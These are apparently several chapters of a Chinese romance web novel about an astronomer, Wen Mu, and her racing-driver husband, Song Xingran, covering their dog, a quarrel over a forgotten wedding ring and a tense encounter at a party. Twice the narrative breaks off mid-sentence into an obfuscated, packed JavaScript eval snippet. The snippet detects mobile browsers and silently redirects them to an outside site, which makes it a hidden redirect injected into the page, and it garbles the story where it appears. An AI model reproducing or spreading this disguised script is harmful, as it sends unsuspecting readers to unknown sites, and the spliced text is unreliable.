她醒来,听到楼下传来锅铲碰撞的声响。慢吞吞地洗漱下楼,宋星燃正把煎蛋装盘,黑色背心被汗水浸湿贴在背上,勾勒出清晰的肩胛线条。 狗狗摇着尾巴绕着她转圈,脖子上崭新的红色项圈格外醒目。 “77?” 温木拿起项圈上挂着的小狗牌,挑眉看向厨房。 宋星燃把培根夹进吐司:“我取的。” “大名叫汽油。” 温木给食盆添水,小狗立刻凑过来舔她手指。 她试图理智地跟他讨论狗狗的取名问题:“你不觉得这个名字,不太合适吗?” 她甚至没有用“难听”。 宋星燃端着早餐走过来,弯腰挠了挠汽油的下巴:“哪里不合适?赛车没了汽油可不行。” “你说对不对,汽油?” “汪!”小狗响亮地应和,尾巴摇成螺旋桨。 男人得意地挑眉,把牛奶推到温木面前,连发梢翘起的弧度都透着孩子气的炫耀。 温木低头切煎蛋,藏住嘴角的笑意。 他有兴致带狗,她又何必扫兴? 就像现在,她回到家,汽油一切安好。 温木蹲下身揉了揉它毛茸茸的脑袋,小家伙立刻翻出肚皮,尾巴在地板上拍得“啪啪”响。 “嘘。” 她竖起食指,目光瞟向二楼虚掩的卧室门。 “不可以吵哦,乖乖睡觉。” 轻手轻脚上楼,推开门就看见宋星燃倚在床头,长腿随意交叠,手里捧着本《天体物理概论》。 也不知道他是从书柜的哪个角落里翻出来的。 书都拿倒了。 暖黄床头灯将男人凌厉的轮廓柔化,睫毛在眼下投出细碎的阴影。 听到动静,他立刻睁开眼,眸子清明得哪有半分睡意。 “回来了?” 宋星燃合上书,声音带着刻意压制的雀跃。 温木点头,取下眼镜揉了揉鼻梁。 这几天很累。 还好,他没闹她。 她刚走到床边,就被男人长臂一捞卷进怀里。宋星燃熟练地调整姿势,让她后背贴着自己胸膛,下巴抵在她发顶,整套动作行云流水。 “今天汽油乖吗?” 温木也懒得折腾,任由他抱着,指尖把玩他睡衣袖口的纽扣。 宋星燃轻哼一声:“咬坏了我两双袜子。” “也不知道它怎么就那么喜欢我的袜子。” 他收紧手臂,温热的呼吸喷在她耳后,“不过比某些人强,至少它乖乖在家待着。” 温木假装没听懂他的暗示,转身从床头柜摸出个哈士奇玩偶,试图塞进两人之间。 宋星燃眼疾手快地拦截,玩偶在空中划出抛物线,精准落在飘窗上。 “你抱起来更舒服。” 他理直气壮地说,手指已经穿过她发间有一下没一下地按摩头皮。 这家伙,什么时候这么会讨好人了? 按摩得实在是太舒服,温木干脆放弃挣扎,闭上眼睛。宋星燃的体温总是偏高,像个人形暖炉,在空调房里格外熨帖。 她感觉男人的唇轻轻碰了碰她发旋,然后是床头灯熄灭的轻响。 这是她一夜/sixtimes换来的。 应该的。 * 周日,温木依然在实验室加班。 五个人都萎靡不振,一杯又一杯黑咖啡灌下去,也换不来一个正确的数据。 手机震动。 温木愣了好久,才划开屏幕。 Lgnis:【我把汽油带去训练场】 她皱眉。 Jupiter:【不行,会生病。】 Lgnis:【那我送到爸妈那儿?】 温木犹豫片刻。 Jupiter:【可以。】 放下手机,她才意识到已经快一个月没回家了。虽然每周都和父母视频,但学校到家里不过十几分钟车程,不回去实在说不过去。 都怪结婚。 都怪宋星燃。 温木知道自己在甩锅。 但那男人晚上爽成那样,白天背个锅又能怎样? 她很快说服自己,甚至想好了回家时的说辞:因为宋星燃太粘人了。 这个理由简直无懈可击。 傍晚,温木走出实验室,天边晚霞正烧得绚烂。 她抱着一叠观测资料往行政楼走,忽然在天文大楼入口处瞥见两个熟悉的身影。校长正满脸堆笑地陪着一个穿深灰西装的男人参观。 宋明深。 即使隔着十几米,温木也能认出那个挺拔的背影。年近六十却保养得宜,银灰色的鬓角反而增添几分威严。他今天穿了件暗纹西装,袖口露出一截铂金表链,正抬头打量着天文大楼穹顶。 他的侧脸线条与宋星燃有七分相似。 “温老师!”校长眼尖地发现她,立刻招手,“正好正好,来见见宋总。” 温木调整表情走过去。 宋明深转身,目光在她脸上停留两秒,随即礼貌地伸出手:“温老师。” “宋总好。”温木与他虚握一下,心照不宣地扮演着陌生人。 校长兴奋地搓着手:“宋总这次给咱们捐了两栋实验楼,还特意来参观天文台。要我说啊,这都是托了温老师的福!” 温木保持微笑,余光看见宋明深几不可察地皱眉。 “张校长言重了。”宋明深声音温和却不容置疑,“贵校的天体物理研究本就国内领先,投资科研是宋氏一贯的宗旨。” 他转向温木,眼神意味深长,“温老师的研究方向我很感兴趣,有机会希望能详细请教。” 校长立刻会意:“当然当然!温老师是我们这最优秀的青年学者,宋总有什么问题尽管找她!” 又压低声音,“您放心,我们绝对保护好人才。” 宋明深微微颔首,最后对温木说:“有空回家吃饭。” 语气平常得像在讨论天气。 等校长毕恭毕敬地把人送走,温木才长舒一口气。望着那辆缓缓驶离的黑色迈巴赫,思绪飘远。 结婚快一个月,媒体上没有半点风声。 按理说宋家三少结婚该是财经版和娱乐版头条,更别说联姻对象还是学术圈的人——这种跨界组合足够小报炒上三个月。 两家联姻消息一出,股价上涨是必然的。 宋氏完全有能力压下所有报道,但他们为什么要这么做? 除非…… 她的脚步顿住。 除非是宋星燃要求的。 她先是摇摇头,但又想不出其他的原因。 除了宋星燃,谁能让宋明深如此大费周章地保护她的隐私? 温木坐在公交车上,望着窗外染上天空的暮色出神。 或许该给他买个礼物。 宋星燃喜欢什么来着?赛车模型?限量版头盔? 温木想起他书架上那套珍藏版《银河系漫游指南》,书脊都翻得起毛边了。 有空的话,亲自去看看吧。 * 温木推开院门,铁艺门扉发出熟悉的吱呀声。 暮色中的小院被夕阳染成美丽的橙红色,秦忆正弯腰给一丛绣球花浇水,浅紫色家居服下摆沾着几点泥渍。 她蹑手蹑脚往前走了两步。 “汪!” 一团毛茸茸的黑白影子炮弹般从花架下冲出来,精准咬住她的裤脚。 温木低头对上汽油圆溜溜的蓝眼睛,小狗正卖力地拽着她往院里拖,尾巴摇得像螺旋桨。 敢情送到爸妈家,是她爸妈家? 温木蹲身挠了挠小狗下巴,汽油立刻翻出粉嫩的肚皮。 秦忆闻声回头,水壶哐当掉在鹅卵石小径上。 “枝枝!”她三步并作两步冲过来,沾着泥的手直接捧住女儿的脸,“小没良心的,学校到家里才多久,你愣是能大半个月都不回来一趟!” 温木被熟悉的栀子花香包围,母亲眼角的细纹在近距离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248317|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下格外明显。 “最近在赶观测数据,确实很忙。”她任由母亲揉搓,突然福至心灵,“而且宋星燃太粘人了。” 锅甩得行云流水。 秦忆捏她耳朵的力道立刻加重:“你还好意思说人家?阿燃隔三差五就顺路过来看我们。大前天带的君山银针还在书房收着,前天又送来套嘉靖年间的《天文志》。” 母亲眼尾笑纹里藏着狡黠,“你呢?嗯?” 温木愣在原地。 他居然,经常来看爸妈吗? “你过来看。”秦忆拽着她往西墙根走,蹲下身拨开层层叶片,“阿燃上周带的蓝雪花种子,说是澳洲新品种。” 翠绿的嫩苗在晚风里轻轻摇晃,细茎上刚冒出米粒大小的花苞。 温木指尖拂过绒毛般的叶片。 “好看。”她轻声说。 “没吃饭呢吧。进屋,妈给你下碗面。” 秦忆拍拍围裙起身,汽油立刻摇着尾巴跟上去,熟门熟路地蹲在厨房门口。 客厅里飘着檀香与墨汁混合的气息。温木抱起小狗陷进沙发,发现茶几上多出个汝窑茶盏,她以前没见温志远用过。 不会,又是他送的吧。 “爸呢?”她问。 “跟你宋叔谈稀土项目去了。”厨房传来菜刀撞击砧板的声响,“这爷俩最近忙得脚不沾地。” “倒是阿燃,回回来都带礼物。” 温木低头划开手机。 聊天记录停留在三小时前她发的实验室照片,宋星燃回了个狗狗歪头表情包。 她还没跟宋星燃报备。 要不要说呢? 不说的话,怕他生气;说了吧,又有种被他管着的感觉。 一番思想斗争之后,温木打开相机,对准怀里的汽油。 “笑一个。” 小狗配合地咧开嘴,粉舌头耷拉在尖牙边。 Jupiter:【[图片]】 发送键刚按下去,厨房门帘哗啦掀起。 秦忆端着青花海碗走出来,面汤上堆着碧绿青椒丝,焦糖色的肉丝间卧着荷包蛋,边缘焦香。 是她在苏黎世最怀念的味道。 “枝枝?发什么呆呢。坨了就不好吃了。” 母亲坐在桌边,精神抖擞地看她。 温木把脸埋进蒸腾的热气里。 其实她对于吃饭真的不挑,喜欢吃的菜就那么几样,青椒肉丝面就算一个,也是她为数不多会做的菜。 在苏黎世读书的时候,吃得更简单。 如果那天不忙就会去超市买点青椒和肉,然后自己下一碗面,窝在懒人沙发里,边吃边看电影。 忙的时候基本上就是在便利店里,用饭团或者方便面对付一口。 “慢点吃。”秦忆伸手抹掉她嘴角的油花,“阿燃说你胃不好,让我盯着你按时吃饭。” 筷子尖上的面条突然变得千斤重。 温木小口啜着面汤,看母亲脚边转悠的汽油。 真奇怪,从前连朋友家的贵宾犬都要绕道走的人,现在竟任由小狗啃她绣花拖鞋上的流苏。 也不知道那男人用了什么办法。 吃完面,温木去洗碗。 晚间新闻刚开始播,汽油突然竖起耳朵冲向玄关,“汪汪”直叫。 温木擦干手走出来时,小狗已经急得直挠门板。 拉开门,夜风裹着广藿香气息扑面而来。 宋星燃倚在门框上,黑色机车服敞着领口,露出脖子上的的星星纹身。 温木第一次见他穿机车服的样子。 恍惚间,竟觉得有些陌生。 他目光扫过她发顶翘起的碎发,最后落在脚边的汽油身上。 “你怎么来了?” 温木下意识按住被风吹乱的裙摆。 男人弯腰拎起疯狂摇尾巴的小狗,指尖“不小心”擦过她手背。 “接老婆回家。” 温木刚要开口,秦忆已经越过她肩膀看到来人:“阿燃来啦!快进来快进来。” 宋星燃咧嘴一笑,喊得亲热:“妈。” “你叫得挺顺口。”温木压低声音。 “跟温老师学的。”宋星燃拎着汽油从她身边挤过,手肘蹭过她胸口。 小狗在他臂弯里兴奋地扭动,爪子在她裙摆上留下几道灰印。 客厅里,秦忆正从冰箱端出青花瓷钵。冰镇绿豆汤盛在白瓷碗里,点缀着几颗鲜红的枸杞。 宋星燃接过碗喝了一大口,喉结滚动时,锁骨处的星形项链跟着轻颤。 “真好喝。妈,你太厉害了!” “枝枝一到夏天就馋这口。”秦忆笑得眼尾叠起细纹,“冰镇的她能喝两大碗,就是她胃不好,我总拦着。以前还为这事儿跟我生气呢。” “枝枝?” 宋星燃挑眉,碗沿后的眼睛闪着狡黠的光。 秦忆刚要解释,温木及时打断:“妈。” “好好好不说。”秦忆做了个封口的手势,转头问宋星燃车队近况。 两人聊得热火朝天,温木捧着绿豆汤坐在单人沙发上,看汽油在宋星燃拖鞋上磨牙——这人不知什么时候换了客用拖鞋,还是她高中时买的卡通款。 “阿燃今晚别走了,”秦忆突然提议,“枝枝房间的床虽然小了点,但也能睡。明早我给你煎糍粑吃。” 宋星燃作势犹豫:“这个啊。” 目光却飘向坐在对面的女人,眼底盛着明晃晃的戏谑。 温木用眼神传递警告,对方却突然恍然大悟似的点头:“好的妈,温老师同意了。” ??? 温木差点捏碎瓷碗,她明明是让他拒绝! “我上楼了。”她放下碗往楼梯走,身后传来宋星燃得逞的低笑。 * 热水冲走发间泡沫时,温木还在懊恼那个失败的眼神交流。 雾气朦胧的镜面上,她隐约看见锁骨处未消的吻痕。在床上这人还坏心眼让她叫“老公”,在岳母面前就装模作样讨欢心。 男人心,海底针。 推开卧室门,薄荷沐浴露的味道扑面而来。宋星燃已经换了灰色家居裤和黑色背心,正坐在她童年睡过的床边。 听到动静,他缓缓抬头,手里有什么东西在灯光下泛着冷光。 “你洗过澡了?”温木用毛巾绞着发尾。 宋星燃没回答,指腹摩挲着那个银色物件。气压低得让温木想起暴风雨前的天文台。 他心情不好。 这是温木唯一能确定的事。 “看什么呢?”她走近两步,突然僵住。 男人手里静静地躺着一条银色素链,链子上挂着的,正是她的婚戒。 完蛋。 她之前一直挂在床头灯上,搬家那天走的急忘记带了。谁知这一忘就是一个月。 温木伸手去拿,男人猛地后撤。她重心前倾,整个人栽进他怀里。 宋星燃就势扣住她的腰,沐浴后的热气从领口蒸腾上来,与她的呼吸纠缠在一起。 “温老师。”他的声音擦过她耳廓。 “关于这枚戒指,你不觉得,该跟我解释一下吗?” 22. For the stars 温木撑着他胸膛想站起来,却被按得更紧。 隔着薄布料,掌心下的心跳又重又急。 他情绪不太稳定,还是先安抚他比较重要。 “之前一直放在房间,搬家那天忘了带。”温木选择实话实说,“后来实验室忙,我也就……” “没想起来。” 宋星燃收紧了腰间的桎梏,戒指在他指间转了一圈。 “忙到一个月都想不起来?” “温木,我在你心里,还不如实验室一块砖重要?” 温木被他这话问得糊涂了:“我们不是在说戒指吗?为什么要扯到你身上?” 他是他,戒指是戒指。 她只是忘了把戒指带到新家里去,又代表不了什么。 男人定定地看着她,眼神阴沉。 “好啊,那我们说戒指。” “为什么,你可以把戒指忘在这里,一个月都想不起来回来拿?” “你不是说很喜欢吗?你不是拍了照片发朋友圈吗?现在又是什么意思?这么快就不喜欢了吗?” 温木不喜欢宋星燃这样咄咄逼人,他五官本就锋利,这样冷着脸说话,更是有压迫感。 她不觉得她应该被他压制,更不觉得他应该用这种态度来压制她。 “宋星燃,你能不能冷静一点。” “每个人都有忙碌的时候,我不相信你没有因为忙着训练而忘了做这或者做那。” “首先,我认识到了错误。其次,我也跟你道歉了,态度也很真诚。你没必要这样揪着不放。” “因为那是我们的婚戒!” 男人几乎是吼了出来。 “那是我连夜挑的款式,我给你买的,我亲手给你戴上的!” 宋星燃松开了腰间的钳制,温木终于得以起身,发梢的水珠滴在两人之间的床单上,洇出深色圆点。 所以,他还是在为受挫的自尊心而发火。 温木强迫自己冷静下来,一遍又一遍告诉自己,他没脑子,不要跟他计较。 “一枚戒指而已,我只是忘了,又不是丢了。” 她顿了顿,又说,“我也可以……” “也可以什么?” 男人站起来,阴影完全笼罩住她。 “再买一个敷衍我?” 他下颚线绷得死紧,脖颈处凸起的青筋一路延伸到锁骨下方。 他是真的在生气。 “所以呢?”温木的声音冷静到冷酷。 “要我开记者会道歉吗?” “宋少爷。” 她特地加重了咬字。 她就是在阴阳怪气。 空气瞬间凝固。 男人的眼神像暴风雨前的海面。他慢慢把戒指链塞进裤袋,转身掀开被子躺下,只留给温木一个沉默的后背。 温木站在原地,湿发贴在颈后,凉意顺着脊椎往上爬。 她忽然不想睡觉了。 机械地拿出笔记本坐在书桌前,文献上的数字从清晰变得模糊。 温木第三次回头时,宋星燃依旧维持着那个姿势,只有发丝随着呼吸轻微起伏。 飘窗上的玩偶不知何时被挪到了两人之间,傻笑着隔开一道楚河汉界。 合上电脑,已经是凌晨一点。 温木轻手轻脚走到衣柜前,从顶层抱出备用被子。被套是少女时期用的淡紫色,上面还印着褪色的星座图案。 她站在那儿,看着床上闭着眼的男人。 良久,选择离开。 门轴发出极轻的吱呀声。 黑暗里,宋星燃睁开眼睛。 * 在温木连续五天第一个到实验室,并且每天早上都吃完一整个山东煎饼后,于茉终于忍不住,在周五的工作结束后,把她拦了下来。 “老实交代。”于茉不知何时拖了把转椅坐在她旁边,圆脸上写满侦探般的锐利。 “他出轨了还是你不爱了?” 什么叫不爱了? 她明明就没爱过好不好。 “别闹。”她推了推眼镜,继续往包里塞便签本。 于茉直接抽走她的包:“我没在闹。” “你和你那小老公,出什么问题了?” 温木知道,什么都瞒不过这个“小柯南”。 窗外的香樟树沙沙作响,一片叶子粘在玻璃上。 她盯着那片枯黄的叶脉,半晌才说:“吵架了。” “我就知道!”于茉猛地拍桌,震得台上的电脑抖了三抖。 “是不是那小子惹你生气了?”见温木不说话,她直接掏出手机。 温木:“做什么?” 于茉:“我打电话摇人,一个人干不过他,十个人还干不过吗?我表弟练泰拳,很能打的——” 温木一把按住她:“不是。” “什么?” “不是他惹我生气。” 于茉:“不是他惹你生气了,那还能是为什么……” 她没有继续说下去,明白过来,但很快又不明白了。 于茉:“你性格这么好,哪儿会惹人生气啊!” 温木没抬头,淡淡说:“我把戒指忘在我爸妈家了。” “一个月都没想起来拿。” “是他送的。” 于茉的嘴张成O型。 他跟你结婚不送你戒指,他找shi啊! 当然,这种粗俗的话不能当着好友的面说。 于茉:“就为这个生气?” 温木点头:“嗯。” “我也搞不懂他。” “我想让我们冷静一下,那晚去了客房睡。后来,就一直没回星河湾。” 这五天像场荒诞的默剧。 宋星燃不打电话不发消息,连汽油都不要了。 昨天下午,温木抱着汽油,已经走到了别墅门口。她透过栅栏往里看,泳池边的躺椅空荡荡的,往常那里总会扔着几本他看了一半的赛车杂志。 她在梧桐树下站到腿麻,最后,还是转身离开。 她已经为戒指的事道过歉,宋星燃也该为他的态度道歉。不然她绝不会主动说一句话。 狗狗做错事要受罚,狠狠罚。 反正他有手有脚,离了她又不是不能活。 “阿木?” “阿木?” 于茉在她眼前挥手,“你有没有在听?” 温木回神:“我没事,就是被他气到了。” “别提他了行吗?” 于茉叹气:“你啊。” “后天不是要参加派对吗?”温木突然说,“我们去逛街吧。” “现在?”于茉瞪圆眼睛。 要知道这位姐上次逛街还是三年前被自己硬拖去买羽绒服,最后选了件和实验室白大褂同款的米色基础款。 温木已经站起身:“我查过了,恒隆广场十点半关门。” 于茉知道她在转移话题,但看着好友苍白的脸色和眼下淡淡的青色,终究没再追问。 “走吧,温老师。” 温木微微蹙眉:“你怎么也跟着他喊。” 于茉怔住,随即正色。 “阿木。” “这个称呼,很多人都喊过。徐樾声、吴桐、孟孟,还有我,” 她轻轻戳温木肩膀。 “不是只有宋星燃一个人。” 有什么东西在胸腔里轻轻炸开。 温木起身继续收拾背包,只是动作比平时慢了半拍。 “走吧。”她还是那副表情,看不出情绪。 恒隆广场的灯光亮得晃眼。 于茉在试衣间进进出出,最后选了件露背的香槟色鱼尾裙,转圈时裙摆像朵盛开的郁金香。 “该你了。”她不由分说把温木推进试衣间,塞进来一套黑色吊带短裙,“别说不要,我盯着你换。” 温木摸着裙子上的亮片,想起被男人撕坏的那件睡裙。 镜中的女人锁骨分明,腰线在黑色布料衬托下显得格外纤细。裙摆刚过大腿根部,将丰腴的大腿露出,白得晃眼。 “天啊!”于茉的尖叫引来店员侧目,“早知道就该天天带你逛街!” 她围着温木转圈,突然压低声音,“说真的,穿这个去派对,保证所有男人为你哐哐撞大墙!” “到时候,什么宋星燃,元星燃,通通变成你的裙下臣。” 温木被她夸张的语气逗乐了。 “我买。” 她直接转向店员,在于茉见鬼似的表情中递出信用卡。 回程的车上,于茉不时偷瞄副驾驶的购物袋:“所以,回哪儿?” 夜色中的霓虹灯在车窗上流淌。 温木望着窗外闪过的车流:“回我爸妈那儿吧。” “唉,行吧行吧。”于茉打了把方向盘,“不过阿木,你有没有想过……” 她欲言又止,“算了,等你气消了再说。” 十分钟后。 老宅院门口,汽油正扒着铁门狂摇尾巴。 温木拎着购物袋下车,夜风吹起她衬衫下摆,露出腰间一小片肌肤。 于茉降下车窗喊:“后天我来接你做造型!记得穿新裙子!” 温木摆摆手,看着好友的车尾灯消失在转角。 院里的蓝雪花苗又长高了些,嫩叶在月光下泛着银蓝。 * 凌晨12:17,温木保存完最后一份数据,起身时却撞上床角。她倒抽一口冷气,白皙皮肤上已经浮现出一片青紫。 她弯腰揉着伤处,膝盖的疼痛让她想起小时候撞到天文台铁架那次。 也是这样的夏夜,也是独自一人。 楼下传来窸窣响动。温木轻手轻脚走下楼梯,汽油正趴在玄关处啃磨牙棒。 小狗看到她立刻竖起耳朵,蓝眼睛在黑暗中闪闪发亮。 “怎么还不睡?”她蹲下来摸它湿润的鼻头。 汽油发出呜咽般的叫声,尾巴在地板上扫出细碎的声响。 温木迟疑片刻:“你在想他吗?” 小狗的舌头立刻舔上她手背。 没良心的小东西,要爹不要娘。 温木叹了口气,把毛团抱到腿上。 今晚回来时,秦忆问她周日有没有空:“你沈姨来电话,想让你去吃饭。” 她当时就明白,这是变相的家族聚会,宋星燃肯定在场。 在那么多长辈面前,想要从冷战状态变回和平状态肯定很难。 思来想去,还是拒绝了。 当然,她没说要去参加派对,只是说实验室工作忙。 “汪!”汽油突然在她膝头蹦跳,后爪正好踩中淤青。 疼痛让温木回过神来,她点开微信,试图通过刷朋友圈来转移注意力。 朋友圈的第三条是宋星燃三小时前发的。路易十三的水晶瓶旁摆着孤零零的香槟杯,配文只有一个emoji酒杯。 她轻哼一声,手指却不受控制地点开大图。 背景像是某家私人会所,角落里有半截赛车杂志的边角。 臭小子,还喝上了。 过得挺美啊。 温木没有多看下面的评论,直接划到于茉的动态,照片里哈士奇茉莉正撕咬一个恐龙玩偶。 她把屏幕转向汽油:“看,这是你姐姐。” 小狗爪子啪地拍在屏幕上,留下几道湿痕。 温木恍惚想起宋星燃在家教它击掌的样子。 男人蹲在地上,黑色T恤绷出肩背线条,不厌其烦地重复“givemefive”。 她当时在茶几上看资料,他们两个就在旁边地毯上。她倒没有觉得被打扰,只是奇怪宋星燃居然有这样的耐心。 不知道重复多少次后,男人忽然抱着汽油窜到她身边,一脸兴奋地说:“汽油学会了!” 然后就兴冲冲地拿出手机,说要拍照纪念一下。 也许就是那个时候,汽油懂了“拍照”这个词。 “想拍照吗?” 汽油“呜呜”两声。 温木调整姿势,让汽油趴在膝头,镜头只截到小狗和她的腿,那片青紫格外显眼。 点击,发送。 配文:汽油和妈妈都失眠了。 茉茉唧唧:【你还没睡呢】 Jupiter:【有点睡不着。】 对方发来一个摸头的表情包。 夜色在沉默中流淌。温木有一下没一下地挠着汽油下巴,思绪飘到星河湾的书房。 宋星燃总喜欢在她工作时突然出现,美其名曰“监督温老师按时休息”,最后往往演变成她被按在沙发里亲到缺氧。 所以混蛋就是这样的吧。 上一秒还可以亲亲热热地喊老婆,下一秒就可以为一件小事跟你冷战五天。 温木劝自己想开点,犯不着为了不相干的人生气。 大不了两年过后就离,谁还离不开谁了。 门铃突兀响起。 温木把汽油放在沙发上,一点点挪到门前,透过猫眼往外看。 唇角勾起,又很快被压下。 她等了一分钟,然后拉开门。 男人站在廊灯下,黑色冲锋衣领口竖着,眼下有淡淡的青色。 温木懒懒靠在门框上,睡衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261246|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领口松开,露出大片瓷白的肌肤:“有事?” 宋星燃:“嗯。” 温木:“什么事?” 男人的目光从她泛红的眼角滑到右膝,微微皱眉,然后扭过头去:“我想汽油了。” 温木差点气笑。 凌晨十二点半来敲门,就为这个? 万一她睡了呢,他打算怎么办?翻墙还是在外面等一晚上? 她侧身让出通道:“它还没睡。” 宋星燃径直走向沙发,汽油立刻扑进他怀里,尾巴摇出残影。 “好了好了,”他揉着小狗耳朵,声音比平时软了八度,“爸爸来看你了,嗯?” 温木转身去厨房倒水,右腿撞得似乎有点严重,一动就疼得吸气。 等她端着水杯挪回客厅,宋星燃正举着汽油的前爪教它作揖。 她把玻璃杯放在茶几上,刻意避开男人伸来的手。 沉默像蛛网般蔓延。 良久,他先开口:“腿怎么了。” 温木抬头,宋星燃的目光直直落在她右膝上。 现在才注意到? 没良心的家伙。 果然,女儿随爸。 她暗自腹诽,面上却不显,淡淡道:“撞的。” “撞哪儿了?” “床角。” 男人不屑地笑出声,虎牙在唇间若隐若现。 “温老师也有这么笨的时候?” 温木攥紧抱枕边缘,声音冷下来:“我笨,又不是你笨。你生什么气?” “我没生气啊。”宋星燃勾唇一笑,“我高兴还来不及。” 温木是真不想听他说话了,狗嘴里吐不出象牙。 知道他坏,没想到他能这么坏,在别人伤口上撒盐。 “把汽油带走吧。”她直接下逐客令。 男人笑容一滞:“这就不要它了?当初可是你要养的。” “你不是想它吗?”温木抱起小狗塞进他怀里,“父女团聚,不好吗?” 宋星燃深深看她一眼,起身时冲锋衣擦过她发梢:“好啊,怎么不好。” 汽油在他臂弯里不安地扭动,他按住小狗脑袋,“温老师这么大度,当然好。” 玄关处,他突然转身:“明天晚上,为什么不回家吃饭?” 膝盖的淤青隐隐作痛。 温木随口扯谎:“实验室忙。” “温老师。” 宋星燃的声音沉下来。 “不想见我就直说,别总用一个理由,听得耳朵都起茧子了。” “你知道还问。” 温木几乎是下意识就把心里话说出来了,但也立刻意识到,她说错话了。 这不是她平时会说的话,太直白,太情绪化。 也太不给人留余地。 男人的背影僵在门口。 “是,我知道还问。”他自嘲般轻笑。 “我欠。” 门关上的声音很轻,带着温木的叹息。 真麻烦。 * 晚上八点,巴黎花园顶层。 水晶吊灯折射出碎钻般的光影,昏暗的灯光与电子音乐的鼓点交织,整个顶层露台充斥着香槟气泡的轻响和笑声。穿着衬衫马甲的服务生穿梭其中,托盘上的鸡尾酒杯折射出霓虹般的色彩。 门被拉开。 于茉挽着温木的手臂走了进来。 一瞬间,周围的目光若有若无地聚拢过来。 温木今晚没戴眼镜,浅棕色的美瞳衬得她的眼睛像琥珀般清透,黑色吊带短裙勾勒出纤细的腰线和修长的腿,高跟鞋让她的身姿更加挺拔,整个人像一株冷冽的雪松,清冷又矜贵。 于茉则是一身香槟色鱼尾裙,红唇张扬,笑得明艳动人。 派对的主角邬楠穿着白色短裙,笑容明媚地站在人群中央,她的未婚夫站在她身旁,身着剪裁得体的深灰西装,斯文儒雅,时不时低头替她整理耳边的碎发,眼神温柔得不像话。 温木下意识觉得,他会是个好丈夫。 不像某人。 见到她们,邬楠眼睛一亮,立刻提着裙摆小跑过来:“表姐!阿木姐!你们终于来了!” 温木递上礼物,是一个精致的手办盒,里面是邬楠一直想要的限量版《星际迷航》收藏款。 “新婚快乐,小楠。” 邬楠惊喜地接过,眼睛瞪大:“阿木姐,这太贵重了!” 温木淡淡一笑:“如果它能代表我的心意,那才是最好的。” 邬楠感动地抱了抱她,然后拉着她们往里走。 于茉给温木使了个眼色。 温木会意,走向于茉的父母。 “于叔,邬姨。”她微微颔首。 于父于母见到她,立刻热情地拉住她的手:“哎呀,阿木来了!最近怎么样?听说你和星燃那孩子过得不错?” 温木抿唇,神色平静,但语气里透着一丝若有若无的倦意:“还行,就是……” 她顿了顿,像是在斟酌措辞,然后缓缓道:“婚姻生活,比想象中复杂。” 于母立刻关切道:“怎么了?星燃对你不好?” 温木摇头,语气淡淡:“也不是不好,只是……” 她轻轻叹了口气,眼神微垂,像是无奈又像是疲惫。 “他脾气不太好,挺难沟通的。” 于父皱眉:“是不是他欺负你了?你跟叔叔说,叔叔找你宋叔去,一定给你做主。” 温木摇头:“倒也不是欺负。” 她停顿了一下,像是在思考怎么形容。 “他太自我了,有时候根本不会考虑别人的感受。” 于母心疼地拍拍她的手:“哎呀,这孩子怎么这样。阿木你也别着急,星燃他毕竟小你几岁,年纪小的男人,大部分都不成熟。你慢慢教他,会好起来的,啊。” 温木垂眸,声音轻缓:“叔叔阿姨,结婚这事儿急不得,茉茉她如果遇到了喜欢的人,肯定会主动出击的,您二位别太着急。” “如果所遇非良人,那不是白白浪费了大好时光吗?” 于父于母闻言,纷纷点头。 任务已经完成,温木便寻了个没人的角落,自顾自发呆。 “温老师。” 一道低沉熟悉的嗓音从身后传来,带着几分玩味的笑意。 温木脊背一僵,好一会儿,缓缓回头。 宋星燃站在她身后,单手插兜,黑色衬衫的袖口挽至手肘,露出结实的小臂线条。 他唇角微勾,眼神却带着几分危险的意味。 “原来在你心里,我就是个‘非良人’?” 23. For the stars 温木不知道宋星燃为什么会出现在这,他不是应该在宋家老宅陪父母吃饭吗? 她开口:“你为什么在这?” 听不出情绪。 没有惊讶,没有心虚,也没有见到面前这个男人的欢喜。 宋星燃唇角微勾,眼底带着几分玩味:“温老师为什么又在这儿?不是说实验室忙吗?” 谎言被戳破,温木也不再解释,只是淡淡地移开视线。 男人低笑一声,倾身靠近,薄唇几乎贴在她耳边,嗓音低沉,带着恶劣的笑意。 “坏老师。” 温木指尖微蜷,耳根不受控制地泛起一丝热意。 被一个小自己四岁的男人这样喊,莫名有些羞耻。 在家里喊一喊也就算了,怎么在外面也这样喊。 她不要面子的? 温木面上依旧不动声色,只是微微侧头,避开他灼热的呼吸。 “你什么时候来的?” “刚到。” 宋星燃直起身,懒洋洋地倚在旁边的吧台边,目光却紧紧锁着她。 “很巧,刚好听到温老师在分享婚后心得。” 他顿了顿,眼底笑意渐冷。 “我都不知道,原来温老师对我有这么多的不满意啊?” 温木睫毛轻颤,语气依旧平静:“实话实说而已。” 她觉得自己没说假话,蛮横,不讲理,无耻,哪一样他都占尽了。 只是这个男人从来都没有自知之明罢了。 宋星燃盯着她看了两秒,忽地笑了,那笑意不达眼底。 “那当初,为什么选我?” 猝不及防。 温木抬眸,对上他的视线。 宋星燃的目光很深,像是要看穿她的所有伪装。 空气仿佛在这一刻凝滞。 温木沉默片刻,轻声问:“你真的想知道?” 男人笑意渐敛,眼底浮起一丝冷意:“说。” 温木看着他,思考着自己是否应该现在说出实话。但很快,又打消了这个念头。 敢给她甩脸子,她怎么也要多磨他一阵。 